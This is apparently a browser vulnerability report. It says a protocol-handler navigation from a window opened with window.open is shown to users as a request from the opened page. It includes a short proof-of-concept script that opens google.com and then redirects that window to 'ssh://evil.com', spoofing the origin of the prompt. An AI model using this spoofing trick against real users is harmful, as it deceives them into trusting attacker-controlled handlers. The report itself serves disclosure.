Navigation to protocol handler URL from the opened page displayed as a request from this page.

Summary: Navigation to protocol handler URL from the page opened using `window.open` is considered as a request from the opened page.

<script>
    window.onclick = () => {
        w = window.open("https://google.com")
        setTimeout(() => {
            t = w.location.replace('ssh://evil.com');
        }, 1000)
    }
</script>